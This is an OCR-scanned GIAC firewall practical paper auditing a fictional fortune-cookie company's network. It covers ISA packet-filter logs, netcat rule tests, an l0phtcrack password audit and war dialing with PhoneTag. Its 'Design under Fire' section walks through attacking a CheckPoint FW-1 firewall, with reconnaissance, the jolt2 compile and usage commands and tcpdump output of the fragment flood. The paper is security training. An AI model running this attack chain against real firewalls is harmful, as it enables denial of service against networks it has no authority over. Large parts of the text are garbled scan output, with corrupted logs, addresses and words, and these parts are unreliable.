110.20.20.
110.20.20.
110.20.20.

3.1.1.5
saalidldh

110.20.20.
110.20.20.
110.20.20.
110.20.20.

3.1.1.5
3.1.1.5

110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.

=

1
2
2
2

SRR C Y

R S

[a ey NayNay Wi, W, LRI, I CRR O Y

protocol
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp
Tcp
Tcp
TCp
Tcp

param#l param#z filter-rule interface
4 283

0600 BLOCKED 110.10.10.2
40601 388 BLOCKED 110.10.10.2
43037 109 BLOCKED 110.10.10.2
43038 443 ALLOWED 110.10.10.2
43038 443 ALLOWED 110.20.20.1
443 43038 ALLOWED 110.20.20.1
443 43038 ALLOWED 110.10.10.2
43039 2369 BELOCKED 110.10.10.2
43280 =15} ALLOWED 110.10.10.2
43289 80 ALLOWED 110.20.20.1
80 43289 ALLOWED 110.20.20.1
80 43289 ALLOWED 110.10.10.2
47315 114 BLOCKED 110.10.10.2
47316 25 ALLOWED 110.10.10.2
47316 25 ALLOWED 110.20.20.1
25 47316  ALLOWED 110.20.20.1
25 47316 ALLOWED 110.10.10.2
47317 136 BLOCKED 110.10.10.2
47319 93 BLOCKED 110.10.10.2
47316 25 ALLOWED 110.10.10.2
47316 25 ALLOWED 110.20.20.1
25 47316 ALLOWED 110.20.20.1
25 47316 ALLOWED 110.10.10.2
47316 25 ALLOWED 110.10.10.2
47316 25 ALLOWED 110.20.20.1
47320 35 BLOCKED 110.10.10.2
40818 35988 BLOCKED 110.10.10.2
40816 35988 EBLOCKED 110.10.10.2
40817 35088 BLOCKED 110.10.10.2
40818 35988 BLOCKED 110.10.10.2
50891 283 BLOCKED 110.10.10.2
50892 388 BELOCKED 110.10.10.2
30803 44 BLOCKED 110.10.10.2
40818 36679 BLOCKED 110.10.10.2

blocking most connection attempts by the scan. It is ‘allowing’ connections that were
configured using the packet filters to specific hosts (i.e. http to web server, smtp to mail
relay host). A couple of other items I would also like to point out are: 1) The ISA log
time stamp is set to GMT by default. 2) Under TCP the param#1 is the source port while
the param#2 is the destination port while an ICMP connection equates to Type and Code

respectively.

Next we can view the Event Viewer to see that ISA generated several messages about the

scan.
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H Event Yiewer : ;_LQJ_’SJ
| acton vew | & = | D@ F DB @ |
Tree I Application Log 1,153 event(s)
lﬂ Everlt Viewer (Local) Type I Date i Tirne i Source i _ategar i Event I Lser :!
-] Application Log &Waming f/1j2002 35148 PM  Microsoft ISA Server ... Packet filter 15104 Nf&
Security Log Warning 6/1f2002 3:51:45PM Microsoft IS4 Server ... Packet filker 15104 MjA
. Sysbem Log &Waming 6/1j2002 35142 PM Microsoft ISA Server C... Packetfiker 15104 MfA
6/ 1) 200, J5LE9FM Packet filter 15104  MjA

Warning

Microzoft IS4 Server ..,
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ning 02 Pr Mic L ISA Se “... Packetfilter 15104  MiA
&Warning &/1§200, 3:51:36 PM Microsoft IS4 Server ... Packet filker 15104 MjA
&Waming 6/1j2002 35133 PM Microsoft ISA Serwer ... Packet filker 15104 MJA
&Warning 6/1f2002 35130 PM Microsoft [SA Server ... Packet filter 15104 MjA
Warning 6172002 35127 PM Microsoft IS4 Server ... Packet filker 15104 MjA
&Warning 6/1f2002 3:51:24 PM Microsoft IS4 Server ... Packet filker 15104 MjA —
\Warning 6/1j2002 3:51:24 PM Microsoft ISA Serwver ... Packet filker 15104 NIA_‘.:]
4| | 3
T | -
1 oreane

LI L L T R (U TR S TRUE T B I S RS P |

Event Properties

Event i
[rate; BAA2002  Source:  Microsoft 158 Server + |
Tirne: 15:51 Categaorny:  Packet filter
Type: W arning Ewvent 1D 15104 + |
[lzer: M A4

Computer; 1545ERVERDT

Dezcription:

|54 Server detected a well-known port zcan attack from Intermet Protocol
[IF] addresz 3.1.1.5. & well-known port iz any port in the range of 1-2048.
Faor maore infarmation about thiz event, see 154 Server Help.

Data: * Bytes © words
gooo: 1f 00 ao ao

=

e/

Sppl |

By selecting the properties of one of the alerts, the description verifies that ISA has

detected the port scan.

Next we focus on the firewall rules. The first rule we validate is allowing the DMZ web

server to talk to the SQL server on GIAC’s private LAN.
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From 110.20.20.2 TCP any port to 192.168.50.6 TCP 1433. We configured this by using
ISA’s publishing rules and so we use ISA’s DMZ interface at 110.20.20.1 in place of the
SQL address. To test this rule a laptop was placed on GIAC’s private LAN with the SQL
address. Then we used netcat to listen on TCP 1433 by typing;

Echo SQL_CONNECT | nc -1 —p 1433. This is directing netcat to listen on TCP port
1433 and echo back the string ‘SQL_CONNECT” when a connection is made.

isMetworking“NetCat>echo SQL_CONMECT | nc -1 -p 1433

As shown in the screen shot above we also directed netcat to send or ‘echo’ the string
“SQL_CONNECT” when the connection was made.

SNUWINDOWESzpstem3d2sdriversetc *netstat —an —p tcp
fictive Connections

Proto Local Address
ICP £135
TCP =445
TCP 1825

Address

(-
0

BNBGB&EEB&EGE-

DEEEEEEE®E
EEeEEE®
r QAR AERE

ok kb
bkt 5 o8 5 o8 88w
aE=

Bﬁﬁlﬁlﬁlﬁﬁﬁﬁﬁﬁﬁl'ﬂ
EEEEEEREEEE®ET
B QEEEREEEE®=I

R R T R TETET
[ I et o e e . Bt )

SROSLEEEE
OEOOOOOOOO00n
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By opening another shell and typing netstat —an —p tcp, which means we want to see all
the TCP ports that are listening and don’t bother to resolve, you can see that in fact the
laptop is listening on TCP port 1433.

:\Networking“NetCat>nc 118.20.28.1 1433
QL_CONNECT

IC:“Networking~\NetCat>_

To complete the check I placed another laptop on the DMZ network with the address of
GIAC’s web server at 110.20.20.2 and typed netcat 110.20.20.1 1433 and immediately
got back the “SQL_CONNECT?” response. This confirms that ISA is allowing the DMZ
web server to talk to the SQL server.

File Edit Format Help

ware: Microsoft{R) Internet Security and Acceleration Server 2000 J
ion: 1.0
P 2002-06-31 00:04:10

time source-ip destination-ip protocol param#l param#2 filter-rule dnterface
06-01 15:52:26 110.20.20.2 110.20.20.1 TCR 44812 1433 ALLOWED 110.20.20.1
06-01  15:52:26 110.20.20.1 110.20.20.2 TR 1433 4al2 ALLOWED 110.20.20.1
06-01  15:52:26 110.20.20.2 110.20.20.1 TCp 4612 1433 ALLOWED 110.20.20.1
[06-01 15:52:26 110.20.20.1 110.20.20.2 TCp 1433 4612 ALLOWED 110.20.20.1
06-01  15:52:26 110.20.20.1 110.20.20.2 TR 1433 4612 ALLOWED 110.20.20.1
06-01  15:52:26 110.20.20.2 110.20.20.1 TCp 4612 1433 ALLOWED 110.20.20.1
106-01  15:52:26 110.20.20.2 110.20.20.1 Tcp 4812 1433 ALLOWED 110.20.20.1
06-01 15:52:26 110.20.20.1 110.20.20.2 TCR 1433 4612 ALLOWED 110.20.20.1

And here is a screen shot of the ISA packet filter log showing that the connection has
been allowed. The source port 110.20.20.2 initiates a connection on TCP 4612 to
destination of 110.20.20.1 TCP port 1433 and the filter-rule is allowing this connection.

The next check is of the DMZ SMTP server talking to the internal mail server. This rule
was created again by using ISA’s publishing rules. The setup consistent with the previous
configuration a laptop is placed on GIAC’s private LAN at the mail server’s address of
192.168.50. 8 and netcat is used to listen. The command is c¢:\echo SMTP_CONNECT |
nc -1 —p 25.
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C:s\Networking“MetCat>nc 118.28.28.1 25
MIP_CONMECT

C:“Metworking~MNetCat>_

|« | 0

Then on the DMZ SMTP relay host we typed ne 110.20.20.1 25, which is ISA’s DMZ
interface and as seen above we immediately received the response “SMTP_CONNECT”.

The next rule to verify is the DMZ mail relay host talking to and answering any SMTP
servers on the Internet and from the Internet any SMTP host talking to the DMZ SMTP
relay host. With the laptop located on the public network and again using netcat we had it
listening on port 25 when a connection was made to send back the string

SMTP_PUBLIC _SERVER. From the DMZ mail relay we used telnet to attempt a
connection.

To the surprise of consultant the connection attempt failed. In reviewing the logs it was
found the ISA was blocking the connection attempt. In reviewing the firewall
configuration there was no rule allowing the DMZ mail relay host to initiate an SMTP
connection going out.

A custom protocol rule was created that allows 110.20.20.4 to initiate an outbound SMTP
connection to any address on the internet.

C:'WWINNT  System 32 cmd.exe

C:n>telnet 3.1.1.5 25
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SWINMT System 32 cmd.exe
FUBLIC_SHTFP_SERUER

The screen shot shows that this time a connection was established. To verify the
connection from the Internet coming back from GIAC’s DMZ mail relay host, a laptop
located on a public network was used. A telnet command was typed C:\telnet
110.20.20.4 25 to verify if the SMTP relay host is accessible and listening on TCP port
25. This response is different because we are actually running the SMTP service on the
box in the DMZ.

|«]

Inet 110.20.20.4

220 giacdc®l Microsoft ESMIP MAIL Service, Uersion: 5.8.2172.1 ready at a, 1 Jun 2882 11:36:18 —B5

_[=l=l

—

The screen shot above reflects that in fact a connection has been allowed.
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File Edit Format Help

ware: microsoft(rR) Internet Security and acceleration Server 2000 ;J
ion: 1.0
0400

4 .1
.4 ZHE =l
.40 3.1.1.5 TCp BLOCKED L20.20.1
40 3.1.1.5 TCp BLOCKED 110,20,20,1
P e e A TCp BLOCKED 110.20.20.1
A7 PR R D D Tcp ALLOWED 110 20.20.1
4 110.20.20.15 Udp BLOCKED 110 20.20.1
LA 110,20,20,15 udp BLOCKED 110,10,10,2
.40 110.20.20.15 udp BLOCKED 110.20.20.1
40 110.20.20.15 udp BLOCKED 110.10.10.2
.4 110.20.20.15 Udp BLOCKED 110 20.20.1
4 110.20.20.15 Udp BLOCKED 110,100,102
Pt D i i TCp ALLOWED 110,20,20,1
e P R PR I TCp AL L OWED 110.10.10.2

110.20.20.4 Tcp ALLOWED 110.10.10.2

1102002004 Tcp AL LOWED 110 20.20.1
s O i M ] TCp ALLOWED 110,20,20,1
a3 35w TCp ALLOWED 110.10.10.2

110.20.20.4 Tcp ALLOWED 110 10,102

1102002004 Tcp AL L OWED 110 20.20.1
P CE i i | TCp ALLOWED 110,20,20,1
e P R PR I TCp AL L OWED 110.10.10.2

Here is a screen shot of the ISA packet filter log that reflects the original blocked
attempts and then at the bottom the success attempts from the mail relay host out.

The next firewall rule to verify is the public’s ability to browse to GIAC’s public web site
located on the DMZ network. To verify this rule a HTTP server was placed on the DMZ
with GIAC’s web server address. A notebook computer was located on the public
network. Internet Explorer was used to try and connect to

http://www.gaic.com/fortune sayings. The FQDN www.giac.com and the IP address of
110.20.20.2 were added to the hosts table for DNS resolution to work. An attempt was
then made to connect to the web site.

e 1 1 1 2 3 O 5 0 9 2
Fie Edt View Favorites Tooks Hel o
Dras - ®] B (n D sewch §lpravorites @Pveds - & - 3

ddress 4] http:/fwww.giac.com/fortune_sayings/ > &

GIAC FORTUNE COOKIE SAYINGS

Welcome to GIAC Enterprise’s Web site.
First time here? Then take a few minutes to browse around to get to know us.
If you are a current member then welcome back!

Click here if you are a first time visitor_.

Click here is you are returning. ..

GIAC Enterprises... a company that ALWAYS has something to say....

And here is a screen shot of GIAC Enterprise’s home page.
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File Edit Format Help
ware: Microsoft(R) Internet Security and acceleration server 2000

ion: 1.0
D2002-06-01 00:04:10

time source-ip destination-ip protocol param#l paramgz filter-rule dnterface
D6-01 15:36:20 3.1.1.5 110,20, 20,2 TCp 4505 80 ALLOWED 110.10.10.2
D6-01 15:35:25 3.1.1.5% 110,20, 20,2 Tcp 4505 80 ALLOWED 114, 20,201
06-01  15:36:2% 3.1.1.5 110,20, 2002 Tcp 4595 80 ALLOWED 11a.10.10.2
J6-01 15:36:2% 3.1.1.5 110,20, 2002 TCp 4595 80 ALLOWED 110,.20.20.1

Here is the ISA packet filter log that also reflects a connection was allowed from the
notebook at 3.1.1.5 to the GIAC web server at 110.20.20.2.

The last firewall rule test will be to verify that the DMZ DNS server is allowing DNS
queries from the public network. Since I am running both the web server and DNS server
on the same machine it is necessary to modify the packet filter rule so that the DNS
service is being allowed from 110.20.20.2 instead of the DNS server address on the
network map of 110.20.20.3. Once this has been done then we use the nslookup tool to
attempt a connection to the DNS server.

¢ Command - nslookup

C:\WINDOWS\system3 2 \driversetc *>nslookup
Default Server: giacdell.giac.com
Address: 1108.20.208.2

? wwv.giac.com
Server: giacdcBi. 1:1:: com
fAddress: 116.28. 45

Mame = giacdcBl .giac.com
Addr : 118.28.208.2

wuw.giac.com

The client at 3.1.1.7 is configured with its DNS server address to 110.20.20.2. We then
open a command window and type nslookup at the prompt. In the above screen shot the
DNS server sends back a response of giacdcO1.giac.com with its address. Then we do a
query for www.giac.com and successfully receive an answer off 110.20.20.2, since the
web server is located there also. To continue the test we open an Internet Explorer
window and in the address box type www.giac.com/fortune sayings.
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A GIAC FORTUNE COOKIE SAYINGS - Microsoft Internet Explorer
File Edit View Tools  Help

Qm-© REG

B Address -@_htm:ffwww.giac.comffnrb.lne_sayings,."

Favarites

J Search

:a Favorites @Media 6“/ +

Welcome to GIAC Enterprise’s Web site.
First time here? Then take a few minutes to browse around to get to know us.
If vou are a current member then welcome back!

Click here if vou are a first time visitor. ..

Click here is vou are refurning. . ..

&l

The GIAC web site successfully appears.

File Edit Format Help

GIAC FORTUNE COOKIE SAYINGS

GILAC Enterprises... a company that ALWAYS has something to say....

£ mternet

an: 1.0

are: Microsoft(R) Internet Security and acceleration serwver 2000

2002-06-02 00:056:13
time source-ip destination-ip protocol param#l param#2

6-02 15:11:18 3.1.1.°7 110.20.20.2 Udp 1160 53
6-02 15:11:18 3.1.1.7 110.20.20.2 udp 1160 53
6-02 15:11:18 110.20.20.2 3.1.1.7 Udp 53 1160
5-02 15:11:18 110.20.20.2 3.1.1.7 Udp 33 1160
G6-02 15:11:5%3 3.1.1.°7 110.20.20.2 udp 1161 33
6-02 15:11:5%3 3.1.1.7 110.20.20.2 Udp 1161 53
6-02 15:11:5%3 110.20.20.2 3.1.1.7 Udp 53 1161
5-02 15:11:53 110.20.20.2 3.1.1.7 Udp 33 1161
6-02 15:11:%8 3.1.1.°7 110.20.20.2 Udp 1162 53
6-02 15:11:5%8 3.1.1.7 110.20.20.2 udp 1182 53
6-02 15:11:5%8 110.20.20.2 3.1.1.7 Udp 53 1162
5-02 15:11:58 110.20.20.2 3.1.1.7 Udp 53 1162

filter-rule

ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED
ALLOWED

interface

110.
110.
110.
114.
110.
110.
110.
110,
110.
110.
110.
114.

[
(=]
[
(=]
MEPERPEMNRNEPEENANEREN

The ISA packet filter log also reflects that the UDP connection from the client was

allowed to the DNS server.

The next focus of the audit is to check to see if the passwords on the servers were
meeting GIAC’s password complexity policy. The tool to be used for this audit is
10phtcrack. Once it is installed it can check the SAM account on the local machine or if
the person is authorized it can download the SAM accounts database from a remote host.

As part of GIAC practical repository.
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File iew

il B&] @stake LC4 - [Untitled1]
Import

Session  Help

il S e EsE|

Ha | w n«

2 o i | | Y

Crarmain | User Mame I LM Password I = | MTLM Passw
@ISASER'-.-‘ERDI Adrninistrator PEYTTE

lgIS.E'.SEF'\'-.-'EFUZI1 Guesk * ampty * ® * empky *
lgIS.|!'.SEF'\'-.-'EF‘JII1 JrAdrninl PASSWORD password
QISP.SER\-'ERDI Jriadminz TRV

@ISP.SER\.-'ERDI Sradrnin TEYTITE

@ISHSER\!ERDI TsInkernetlser

words total
29156
words_done
29156
¥_done
100.000%

tine elapsed
Od Oh Om Os

time left
Calculating -
% _done

current test

keyrate

total users
B
audited users

1
[ oM [5cRL

Based on the screen shot above, all the passwords on this machine met the complexity
standard except for one.

The next check of GIAC Enterprise’s network was for rogue modems. A war dialer by
the name of PhoneTag will be used for this part of the audit. There are several war dialers
that can be down loaded from the internet at http://www.zone.ee/illegal/phreaking.htm.
PhoneTag runs on Windows and comes downloaded as a zip file. Once unzipped all you
have to do is place a few of its files into the Windows System folder and the rest of the
files in their own folder and you are ready to proceed.
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File  Optionz  Setup

90 Mumbers to Call || 0 Busy zignals 1 Information
04444535 y [ ]
04444562 {f# About 11:30:40
04444529

04444503 . PhoneTag for Windows

04444524 ?
D4444581 vErsion 1 3 January 1 'EIEM

04444567
04444547 T entage Complete

04444571 i) [Pl [ iy
04444505 ':JU .L_!i i S _!i

04444514 e o ——_ . lodem Status
04444568 Thanks to: Sificon Syphillis, The Noid, Jackal

. Hng:
04444597 phlx Sledgehammer, _ Dead Addict, b ne7-15511=50
04444573 ahd Evensone at Profekt 23.
04444536
04444578
04444527 Blah
04444549 ] | |

| | = ] | View || Delete |

“Modem Speed | [ 'Word Format | | Dial Speed in
Ci1200 O 9600 = N-8-1 Milliseconds
® 2400 (19200 ) E-7-1

“Modem Speaker [ nal Patience | [ Random Delay between
) OF ) Always on in Seconds Dialz[in seconds]

® While dialing C) On after dial from: E to: D

Dialing Number | [ Dialing Number | | Modem Initialization Capture Cutoff
Prefix Suffix String in Seconds

| | | | [AT |

[ Stealth Mode | | Start Dialing | | Stop Dialing | | Startup List [ Busy
) On Time Time Filename Retries

(® Off ngoooo| || 1e0o00) || TESTAST| (| [ 1]

Eance‘

This above screen shot is of the setup screen for the modem. The ReadMe file
recommends using either 1200 or 2400 baud for best results. If you need to dial a prefix
like 9, to get an outside dial tone from where you are, you can enter it in the Dialing
Number Prefix field. You can also schedule the war dialer with a ‘start’ and ‘stop’ time.
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IZE"I Create New List

1"“ Shuffled

Cancel

Click on

digitz to
make up
the dialing
template.

Clear |

With the interface above you can create a calling list. For example in the above screen
shot we have created a pattern of ‘044445++> which means generate all the possible
phone numbers from 444-4500 to 444-4599 which are the internal phone numbers for
GIAC Enterprise’s office. The screen shot below reflects the list of numbers to dial.

I:_E,'I PhoneT ag
File Options Setup

- 90 Humbers to Call

04444562
04444529
04444503
04444524
04444581
04444567
04444547
04444571
04444505
04444514
04444568
04444597
04444573
04444536
04444578
04444527

04444549

0 Busy signals

04444535 |+ |

|. e _H_.l_we ] | Select.gll1 Il

0 Captured Screens

Information

Time:|  11:29:54

Stalt

{ lesh

Percentage Complete

Modem Status

|. ._Ei_ew ]| D__elete ] _

Imtializing:

ATMIEDS7=15511=h0

Once the list has been created and you enter a start and stop time just click the green
arrow and you are off and running. PhoneTag will begin to dial the numbers in the list in
the random order that it generated and capture any phone number that is answered by a

modem for later review.
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Network Audit Conclusions

The results of the audit were —

Doors with the combination locks were in good working order and used different
combinations on each one.

Appropriate disposal of confidential documents and information by shredding
per GIAC Enterprise’s policy of using shredders was verified.

The backup generator provides a minimum of six hours of power. Given
the last 3 years history of outages, this falls well within those

guidelines.

All administrator and user passwords on the servers with the exception of one,
met the password complexity policy.

All the client desktops are current on OS patches and antivirus software.
No rogue modems were discovered on GIAC’s network.

The backup and restore of the ISA server was successfully performed in
an acceptable time frame.

The border router is performing Ingress and Egress filtering per the ACL’s
that were tested.

The firewall was allowing appropriate outbound access for internal employees
for authorized protocols (HTTP, HTTPS, FTP Download only)

The firewall was not allowing an SMTP connection from the DMZ mail relay
host to another SMTP host on the internet (fixed)!

The firewall is providing the DMZ web server access to the SQL server located
on the private LAN.

Appropriate outside hosts (border router, DMZ servers) are being allowed
access to services located on GIAC’s private network.

The firewall is detecting a port scan.

The firewall was blocking outbound access for unauthorized services such as
NetBIOS (UDP 137,138, TCP 139)

The firewall is denying inbound access for unauthorized services such as
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SQL Server (TCP 1433), DNS (TCP 53)

GIAC partners/suppliers are connecting to GIAC’s private network and therefore
creating an opportunity for potential problems if not managed.

GIAC Enterprises has a single point of failure given the single T1 connection to
its ISP and the fact that all access is being provided by the border router
and the firewall. This leads to the possibility of a denial of service to the
router or the firewall due to an attack or a loss of connection perhaps due
to a fiber cut.

GIAC’s IT staffers are staying up with current issues with subscriptions to:

Bugtraq:
http://online.securityfocus.com/cgi-bin/sfonline/subscribe.pl

MS Security Notification:
http://www.microsoft.com/technet/security/bulletin/notify.asp

SANS Security Alert Consensus:
http://server2.sans.org/sansnews

After reviewing the above results, the consultant provided a network design with possible
changes to address some of the issues.

Network Addressing
Cisco Router Serial Interface to Internet:
Assigned Address wilSP - 4.1.1.0/30
4-2 =2 addresses 4.1.1.1-4.1.1.2
ISP address - BR's default Gateway - 4.1.1.1/30
Address on Interface of Serial 0 - 4.1.1.2/30

PARTNERS

7_“_‘_‘— SUPPLIERS

Ingress & Egress Filtering Assigned public addresses from ISP for my
Using Access Lists Public Network: 110.10.10.0/29 - 8-2=6 addresses
Valid Address Range: 110.10.10.1 - 110.10.10.6
Cisco Eth0: 110.10.10.1/28

ISA Server Public EthD: 110.10.10.1.2/28

CUSTOMERS
r A

MOBILE S;C(;H:ésl’ for, Rodter
USERS edundancy Cisco 1720

Si i from ||
using VPN IPSEC) Assigned public addresses from ISP for

Service Network: 110.20.20.0/28 - 16-2 = 14 addresses

- Valid Address Range: 110.20.20.1 - 110.20.20.14
a ISA Server DMZ Ethi: 110.20.20.1/28
Allowing Only Web Server:110.20.20.2/28
IPSEC VPN k DNS Server:110.20.20.3/28
TUNNELS 5 SMTP Server:110.20.20.4/28
control access \ NTP Server 110.20.20.5/28
based on Syslog Server 110.20.20.6/28
Client address m———_ ; IDS Server:110.20.20.7/28
CONTIVITY iy :
- Private Network Address Space Class C:
A VEN Sw‘m%w‘gﬂh 3 = = Clients 192.168 50.1-126/25
2 = [ I E Servers 192.168.50.225-238/28
Using Peckpt Flkering to provca asosse o =) ; ISA Private Eth2: 192.168.50.253/30 to Linux Box
Rules sincd DMZ servers no longer need access to ISA Eth3:192.166.60.248/29 to Contivity

SMTP Relay DS 2 Contivity Private Eth1:192.168.60.249/29
Server  (SNORT) Contivity Switch Mgt. Interface: 192.168.60.253/29
Server Linux Router Eth0:192.168.50.254/30 to 1SA
Linux Router Eth1:192.168.50.1/25 to clients
Linux Router Eth2:192.168.50.225/28 to servers

7
A Syslog Server; 192,168.50.232/28
) T e Web Serer 12.169.50.231128
i DNS Server:192.168.50.230128
2 Linux RedHat 7.3 SOL Server:192.168.50.220/28
wiNetFilter NTP Server: 192.166.50.228/28

private LAN. All connections from private LAN
Initiated ouf.

[T ———PRIVATE NETWORK ————

SERVERS
7
#5400 SySLOG

WEB S0L
Server Server

Mail Server;192.168.50.227/28
AS400 Server:192.168.50.226/28

nAIL DS
Server Server (Snort)

NS Mobile Users:
Server = VPN Client Address Space: 192.168.75.1-192.168.75.14
Client Client Client Client PartnersiSuppliers:

VPN Client Address Space: 192.168.100.1-182.168.100.126/25
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This network diagram reflects changes to address the issues raised in the audit results.

Since GIAC’s life and blood is its sales of fortune cookie sayings via the

Web and that some type of DOS would basically bring this to a halt.

It has been recommended that a second ISP connection be installed as

a backup. This could be done by incorporating a device like the Nexland Pro
that supports two wan connections and has a failover feature. Information on
this product can be found at http://www.nexland.com/products/index.cfm?p=2 .

Although using ISA to publish services from the internal network to the Service
Network uses dynamic ports, it is still providing some opportunity for

possible attack if a server in the DMZ is compromised. Therefore a
recommendation has been made to minimize this risk by adding a Syslog
Server to the DMZ to be used there. It has also been recommended to move the
NTP server from the internal network to the DMZ. Then allow access to the NTP
server to the clients and servers on GIAC’s private LAN. This would result in
only having the Web server on the DMZ having access to the internal SQL
server via ISA’s publishing rules. Additional steps could be taken on the public
web server by utilizing a host based IDS system like Tripwire
(http://www.tripwire.com/ ) to specifically protect it from possible attacks.

It has also been recommended that the server and clients be separated from each
other on the GIAC private LAN for better control by utilizing another firewall
product such as a Cisco PIX or a Linux box with Netfilter (IPtables). This would
provide another layer of defense on the network and by utilizing a different
firewall product add another layer because of diversity.

Due to the risk of allowing GIAC’s partners/suppliers to connect to the private
LAN, an addendum was added to GIAC’s security policy. It specifically
addresses standards for appropriate use and standards for hardware/software
being used by GIAC’s partners/suppliers. The addition is listed below.

“User Policy — Partners/Suppliers (subject to the policies stated
above, and in an addition)

A partner/supplier using his/her own PC shall have an up-to-date virus scanner on
their machine, or shall have loaded (by a GIAC employee) an up-to-date virus
scanner on their machine. Under no circumstances should the partner/supplier
remove, or disable that virus-scanner, while under contract with GIAC Enterprises,
without written permission from the relevant administrator.

A partner/supplier using his/her own PC shall have a personal firewall on their
machine.
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A partner/supplier should provide inventory to GIAC’s Technical Help Desk with a
list of all the software and hardware they are connecting to GIAC’s private network.
That includes type, model of hardware, and listing of all software on the hardware.

A partner/supplier should also provide a written assurance that any hardware/software
they connect to GIAC Enterprise with is Y2k compliant, and they are licensed for use
of that product/item.

A partner/supplier shall not send data, programs, or electrical correspondence of any
kind to GIAC Enterprise without first scanning for viruses.

A partner/supplier shall use only those resources that the partner/supplier has been
authorized to use by GIAC Enterpirses, and only for purposes authorized.

A partner/supplier shall not copy, disclose or transfer any computer software provided
by GIAC Enterpirses without written permission from the relevant administrator.

A contractor shall not attempt to modify system facilities, illegally obtain extra
resources, degrade the performance of any system, nor attempt to subvert the
restrictions associated with any computer system, computer account, network service
or personal computer protection software.””
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Part IV Design under Fire

Internet >
Cisco Router

WEB FTP MAIL DNS

Partner/Supplier Mobile user

Nokia Firewall
CheckPoint FW-1

GIAC Mobile user

\ Ml =

Switch

IDATABASE Server Server Server
Server

- Ser Ser
___
GIAC INTERNAL NET NOC NET
ADMIN NET: DB, DNS, MAIL,
FW m.c, FW sylog,
% . ﬂ ﬂ File Server, Backup
user user
user user user VLAN 1
VLAN 3
VLAN 2

This is the network diagram from Glenn Brengel’s paper located at
http://www.giac.org/practical/Glenn_Brengel GCFW.zip. It is using CheckPoint FW-1 at
the perimeter of the network. After doing some searching around on Google, I found a
vulnerability notice at the securiteam.com website,
http://www.securiteam.com/securitynews/FW-
1_IP_Fragmentation vulnerability _remote DoS .html. The vulnerability is based on
fragmented packets and the summary is listed below.

“A dangerous security vulnerability has been discovered in CheckPoint's Firewall-1
Firewall, the vulnerability allows a remote attacker to launch a Denial of Service attack
against Firewall-1 based firewalls. The attack causes the CPU to mysteriously hit 100%
utilization, causing a system lock up (some systems may also crash).
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Vulnerable systems:
All CheckPoint Firewall-1 firewalls
All CheckPoint Firewall-1 based firewalls (outsourced code)”

The article goes on to say that even if the rules base is denying everything it is still
vulnerable. It also mentions that the firewall will not log the attack which makes it very
difficult to understand what has happened.

The exploit tool that is mentioned in this notice is called jolt2. After researching on
several more web sites I discovered the source code at
http://lists.insecure.org/win2ksecadvice/2000/May/0056.html. The exploit is also listed at
http://www.iss.net/security _center/advice/Concordance/CVE/default.htm. It can also be
found on the mitre.cve.org web site as CVE-2000-0305, on Bugtraq as Bugtraq ID-1236
and at Microsoft’s Security web site as MS00-029. I also found an analysis of jolt2.c
http://online.securityfocus.com/archive/1/62011 written by Mikael Olsson.

The next step is to compile the source code. This is done on my Linux box by typing the
command:

LinuxSnooper# gcc —o jolt2 jolt2.c

Once this is finished, I now can type the command ./jolt2 and get a syntax description as
below:

Usage ./jolt2 [ -s src_addr | [ -p port ] dest addr
Note: UDP used if a port is specified, otherwise ICMP

To discover GCF’s network address range would be a matter of utilizing either nslookup
or dig. Using nslookup we enter the domain name of gfc.com -

C:\>nslookup

Default Server: linuxsnooper.local
Address: 10.1.1.1

> giac.com

Server: linuxsooper.local
Address: 10.1.1.1

Non-authoritative answer:
Name: gfc.com
Addresses: 217.x.x.x,217.x.x.x, 217.x.X.X

Next we do a lookup on Arin.net on the 217.x.x.x network address.

Search results for: 217.x.x.x
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GIAC Fortune Cookie Company
Suite 7
MA 77777

777 T7th St.
Lucky,
Uus

Netname:
Netblock:
Maintainer:

Coordinator:
GFC, NOC

(GN-ARIN)
1-777-777-7777

GFC-BLK-5
217.x.x.x0 - 217.x.X.X
GFCINC

(FAX)

(NETBLK-GFC-BLK-5)

admin@gfcnoc.net
1-777-7777-7777

Domain System inverse mapping provided by:

GCF1-ANS-01.INET.GCF.NET
GCF2-ANS-01.INET.GCF.NET

205.x.x.x
205.x.x.x

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 02-Nov-2001.
Database last updated on 7-Jun-2002 19:59:23 EDT.

This information could provide allocated IP addresses, a phone number, an email address
and possibly a contact for social engineering. Next nmap could be used in a ‘low and
slow’ fashion to try and map the network range and see if we can glean any information
about hosts on their public network without setting off any alarms. Once we surmised a
host as being the firewall, we point jolt2 at its [P address and send it on its way. Below is
output from a tcpdump of jolt2:

09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.
09:54:57.

843799
843866
843935
844001
844070
844138
844206
844272
844343
844411

110
110
110
110
110
110
110
110
110
110

.20
.20
.20
.20
.20
.20
.20
.20
.20
.20

.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:
.20.3 > 110.20.20.2: (frag 1109:

9@65520)
9@65520)
9@65520)
9@65520)
9@65520)
9@65520)
9@65520)
9@65520)
9@65520)
9@65520)

This reflects a continuous stream of fragmented ICMP packets (default) from my laptop
at 110.20.20.3 going to the victim box at 110.20.20.2 in my lab. The packet ID is 11009, it
is sending 9 bytes of data at offset 65520. This makes the actual length 29 bytes which
includes the IP header at 20 bytes.
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7 Microsoft Network Monitor - [Capture: 1 (Detail}] Il 8| x|

J File  Edit Display Tools Options Window Help o ] |
S I o TR =5 =S | = [ 4 i ot

= iz 8 [Eezal 1] vl e B 2

Frame ]Time ISrc MAC Addr |D5t...] P..J Description Z

1 38.385195 3COM EE4818 LOCAL Ir ID = 0Ox4E5E5; Proto = ICHMP; Len: E3, Frag. Offset = 6EEZ0 (OxFFFO)

